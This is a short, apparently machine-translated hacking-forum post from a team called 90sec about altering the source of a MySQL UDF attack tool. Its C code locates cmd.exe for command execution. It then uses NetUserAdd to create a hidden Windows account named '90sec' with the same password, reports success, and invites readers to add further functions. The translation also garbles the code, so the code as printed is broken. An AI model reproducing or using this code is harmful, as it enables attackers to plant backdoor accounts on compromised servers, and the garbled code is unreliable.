* Author: mer4en7y
Team: 90sec
Declaration: langouster, source code of UDF
*/
I believe that you will not be unfamiliar with udfs. I have read a UDF source code shared by Forum ye. I have never read it before. So I read it and wrote this spam article, don't laugh!
Shell functions are not unfamiliar to anyone.
GetSystemDirectory (ShellPath, MAX_PATH-1 );
Strcat (ShellPath, "\ cmd.exe ");
GetEnvironmentVariable ("temp", TempFilePath, MAX_PATH-1 );
Strcat (TempFilePath, "\ 2351213.tmp ");
The cmd in system32 is called here. If it is deleted, the function will fail. How can we divergence it?
In fact, the tool is only a helper. Look at the following simple code:
This is a piece of code for adding common users using API functions. I will slightly modify the original about function and replace it with the following code.
NET_API_STATUS ret = 0;
DWORD dwErr = 0;
USER_INFO_1 oUserInfo;
ZeroMemory (& oUserInfo, sizeof (oUserInfo ));
OUserInfo. usri1_name = L "90sec ";
OUserInfo. usristmpassword = L "90sec ";
OUserInfo. usri1_priv = USER_PRIV_USER;
OUserInfo. usri1_flags = UF_NORMAL_ACCOUNT;
Ret = NetUserAdd (NULL, 1, (LPBYTE) (& oUserInfo), & dwErr );
If (ret = NERR_Success)
{
Initid-> ptr = (char *) malloc (100 );
Strcpy (initid-> ptr, "execution successful \ r \ n ");
* Length = strlen (initid-> ptr );
Return initid-> ptr;
}
Result
Normal User Added successfully:
You can use it freely and add some other function functions. Thank you for watching.